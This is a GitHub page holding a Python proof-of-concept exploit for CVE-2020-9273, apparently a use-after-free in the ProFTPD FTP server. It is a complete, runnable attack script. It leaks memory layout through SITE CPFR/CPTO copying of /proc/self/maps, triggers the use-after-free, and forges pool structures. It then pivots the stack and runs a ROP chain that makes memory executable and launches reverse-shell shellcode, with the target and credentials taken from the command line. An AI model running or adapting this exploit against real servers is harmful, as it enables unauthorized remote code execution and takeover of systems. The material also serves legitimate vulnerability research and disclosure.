-
Notifications
You must be signed in to change notification settings - Fork 160
/
exploit_rop.py
338 lines (292 loc) · 9.5 KB
/
exploit_rop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
#!/usr/bin/env python3
#---------------------------------------------------------------------------------------------------------------
#
# Remote Code Execution PoC for CVE-2020-9273 (stack pivot + ROP + sc exec RCE)
#
# - @lockedbyte -
#
#---------------------------------------------------------------------------------------------------------------
import socket
import threading
from _thread import *
from pwn import *
import time
# --- CONFIG ---
RHOST = '127.0.0.1'
RPORT = 21
LHOST = '0.0.0.0'
LPORT = 3247
REMOTE_USER = b'pwn'
REMOTE_PASS = b'pwn'
# --- END CONFIG ---
'''
>>> (12*256)+175 # FTP data channel port
3247
'''
buf_send_sz = 15000
off = 97664
completed = 0
leaked = 0
heap_base = 0
text_base = 0
libc_base = 0
raw_lk = b''
lkport = 0
def payload_sender():
global completed
global leaked
global heap_base
global text_base
global libc_base
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((LHOST, LPORT))
s.listen()
print('[+] Binding at ' + str(LHOST) + ':' + str(LPORT))
conn, addr = s.accept()
while(not leaked):
continue
sleep(5)
print('[+] Received connection from: ' + addr[0] + ':' + str(addr[1]))
with conn:
print('[*] Sending payload...')
# Attention! If fixing resp_pool value remember to change it aswell on line 284
resp_pool = heap_base + 0x8c280 # 0x8c6e0 #0x98220
fake_pool_rec = resp_pool - 0x10
fake_cleanup_t = resp_pool + 0x50
fake_block_hdr = resp_pool + 0x18
dummy_writable = resp_pool - 0x1012
gid_tab = heap_base + 0x307c8 # 0x30c28 #0x3c768
tab_x = heap_base + 0x87168 # 0x875c8 #0x93798
shellcode_addr = resp_pool + 0x90
ropchain = resp_pool + 0xd8
ret_addr = libc_base + 0x25679
mprot_sz = (shellcode_addr - heap_base) + 0x1000
padding = b'X'*256
#padding = b''
structx = b''
structx += p64(resp_pool + 0x48) # resp_pool + 0x0 (p->first): rax value for ROP controlling, pointing to pad addr
structx += p64(fake_block_hdr) # resp_pool + 0x8 (p->last): resp_pool + 0x18 (fake blok)
structx += p64(resp_pool + 0x20) # resp_pool + 0x10 (p->cleanups): resp_pool + 0x20
# res = pr_table_get(cmd->notes, "displayable-str", NULL); // should return NULL
structx += p64(tab_x + 0x18 - 0x28) # resp_pool + 0x18 (p->sub_pools): fake_blok->h.first_avail = tab + 0x18 - 0x28
structx += p64(fake_cleanup_t) # resp_pool + 0x20 (p->sub_next): fake->cleanups = resp_pool + 0x50
structx += p64(gid_tab - 0x90) # resp_pool + 0x28 (p->sub_prev): gid_tab - 0x90 (we want to overwrite gid_tab->pool)
structx += p64(dummy_writable) # resp_pool + 0x30 (p->parent): any writable address, not needed but as we have leak better to do that
structx += p64(dummy_writable) # resp_pool + 0x38 (p->free_first_avail): any writable address, not needed but as we have leak better to do that
structx += p64(dummy_writable) # resp_pool + 0x40 (p->tag): any writable address, not needed but as we have leak better to do that
padx = b''
padx += p64(ret_addr) # rax value for ROP (pointing to a ret)
fake_cleanup = b''
fake_cleanup += p64(ropchain) # addr to ROPchain
# push rdi ; pop rsp ; lea rsi,[rdi+0x48] ; mov rdi,r8 ; mov rax,QWORD PTR [rax+0x18] ; jmp rax ; xor eax,eax ; ret
fake_cleanup += p64(libc_base + 0x1491a1) # stack pivot gadget
fake_cleanup += p64(0x4141414141414141)
fake_cleanup += p64(0x4242424242424242)
nops = b''
nops += b'\x90'*16 # pre-target nopsled
# right here is where we want to jump
nops += b'\x90'*16 # post-target nopsled
# reverse /bin/sh shellcode to: 0.0.0.0:4444
shellcode = b''
shellcode += b"\x6a\x29\x58\x6a\x02\x5f\x6a\x01"
shellcode += b"\x5e\x48\x31\xd2\x0f\x05\x48\x97"
shellcode += b"\x6a\x02\x66\xc7\x44\x24\x02\x11"
shellcode += b"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"
shellcode += b"\x5a\x0f\x05\x6a\x03\x5e\x6a\x21"
shellcode += b"\x58\x48\xff\xce\x0f\x05\xe0\xf6"
shellcode += b"\x48\x31\xf6\x56\x48\xbf\x2f\x62"
shellcode += b"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
shellcode += b"\x5f\xb0\x3b\x99\x0f\x05"
shellcode += b'\x90'*2
# ROP gadgets
pop_rax_ret = libc_base + 0x4a550
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_r12_ret = libc_base + 0x11c371
syscall_ret = libc_base + 0x66229
# ROP chain
rop = b''
rop += p64(pop_rax_ret) # pop rax ; ret
rop += p64(0x0a) # SYS_mprotect = 0x0a
rop += p64(pop_rdi_ret) # useless pop to fit gadget
rop += p64(ret_addr) # fit ROP with ret (gadget)
rop += p64(pop_rdi_ret) # pop rdi ; ret
rop += p64(shellcode_addr & 0xfffffffffffff000) # void *addr = heap_base ; we need three last nibbles NULL
rop += p64(pop_rsi_ret) # pop rsi ; ret
rop += p64(0x1000) # size_t len = 0x42000
rop += p64(pop_rdx_r12_ret) # pop rdx; pop r12; ret
rop += p64(0x07) # int prot = 0x7 (PROT_READ | PROT_WRITE | PROT_EXEC)
rop += p64(0x4141414141414141) # junk
rop += p64(syscall_ret) # syscall ; ret
rop += p64(shellcode_addr) # jmp into shellcode
block = b''
block += structx
block += padx
block += fake_cleanup
block += nops
block += shellcode
block += rop
print('[i] Payload size: ' + str(len(block)))
payload2 = b''
payload2 += padding
payload2 += block*(int(buf_send_sz/8))
#payload2 += b'\r\n'
while True:
try:
for _ in range(20):
conn.send(payload2)
#conn.send(b'\r\n')
except:
break
print('[*] Closing connection with FTP server...')
conn.close()
s.close()
completed = 1
def parse_leak(raw_lk):
lns = raw_lk.split(b'\n')
for h in lns:
if(not b'[heap]' in h):
continue
heap = int(b'0x'+h.split(b'-')[0], 16)
break
text = int(b'0x'+raw_lk.split(b'-')[0], 16)
for l in lns:
if(b'libcrypt' in l or b'libcap' in l or not b'libc' in l):
continue
libc = int(b'0x'+l.split(b'-')[0], 16)
break
return heap, text, libc
def leak_data_conn():
global lkport
global raw_lk
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((RHOST, lkport))
raw_lk = s.recv(20000)
s.close()
return
def leak():
global raw_lk
global leaked
global heap_base
global text_base
global libc_base
global lkport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
s.connect((RHOST, RPORT))
print('[*] Receiving banner')
resp = s.recv(1024)
print('[*] Sending user...')
s.send(b'USER ' + REMOTE_USER + b'\r\n')
resp = s.recv(1024)
print('[*] Sending pass...')
s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
resp = s.recv(1024)
if(b'logged in' in resp):
print('[+] Logged in')
else:
print('[-] Wrong credentials...')
exit()
s.send(b'SITE CPFR /proc/self/maps\r\n')
resp = s.recv(1024)
if(not b'350 File or di' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'SITE CPTO /tmp/pwn.me\r\n')
resp = s.recv(1024)
if(not b'250 Copy succ' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'TYPE I\r\n')
resp = s.recv(1024)
if(not b'200 Type set' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'PASV\r\n')
resp = s.recv(1024)
if(not b'227 Enter' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'RETR /tmp/pwn.me\r\n')
a = int(resp.split(b',')[4])
b = int(resp.split(b',')[5].split(b')')[0])
rport = (a*256) + b
lkport = rport
sleep(3)
start_new_thread(leak_data_conn, ())
time.sleep(2)
resp = s.recv(1024)
if(not b'226 Transfe' in resp):
print('[-] Something went wrong...')
exit()
if(raw_lk == b''):
print('[-] Error trying to leak...')
exit()
heap_base, text_base, libc_base = parse_leak(raw_lk)
sleep(0.4)
leaked = 1
s.close()
print('[+] Leaked: heap base = ' + hex(heap_base))
print('[+] Leaked: text base = ' + hex(text_base))
print('[+] Leaked: libc base = ' + hex(libc_base))
return
def main_thread():
global leaked
global heap_base
global text_base
global libc_base
leak()
pause()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
resp_pool = heap_base + 0x8c280 # 0x8c6e0
print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
s.connect((RHOST, RPORT))
print('[*] Receiving banner')
resp = s.recv(1024)
print('[*] Sending user...')
s.send(b'USER ' + REMOTE_USER + b'\r\n')
resp = s.recv(1024)
print('[*] Sending pass...')
s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
resp = s.recv(1024)
if(b'logged in' in resp):
print('[+] Logged in')
else:
print('[-] Wrong credentials...')
exit()
print('[*] forcing a use-after-free condition...')
s.send(b'TYPE I\r\n')
s.send(b'PORT 127,0,0,1,12,175\r\n')
s.send(b'STOR /tmp/uaf\r\n')
fake_gid_tab = b''
fake_gid_tab += b'XXXX ' # actual command
fake_gid_tab += b'AAA' # padding to fit address
fake_gid_tab += p64(resp_pool + 0x10)
# "displayable-str" will be written here ...
s.send(fake_gid_tab)
s.close()
def main():
global completed
global leaked
global heap_base
global RHOST
global RPORT
global REMOTE_USER
global REMOTE_PASS
print('[i] CVE-2020-9273 PoC Exploit (ROP + sc exec) by @lockedbyte')
if(len(sys.argv) < 5):
print('[%] Usage: python3 exploit.py <target IP> <target port> <username> <password>')
exit()
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
REMOTE_USER = sys.argv[3].encode('utf-8')
REMOTE_PASS = sys.argv[4].encode('utf-8')
start_new_thread(payload_sender, ())
start_new_thread(main_thread, ())
while True:
if(completed == 1):
print('[+] Exploit completed')
exit()
continue
if __name__ == '__main__':
main()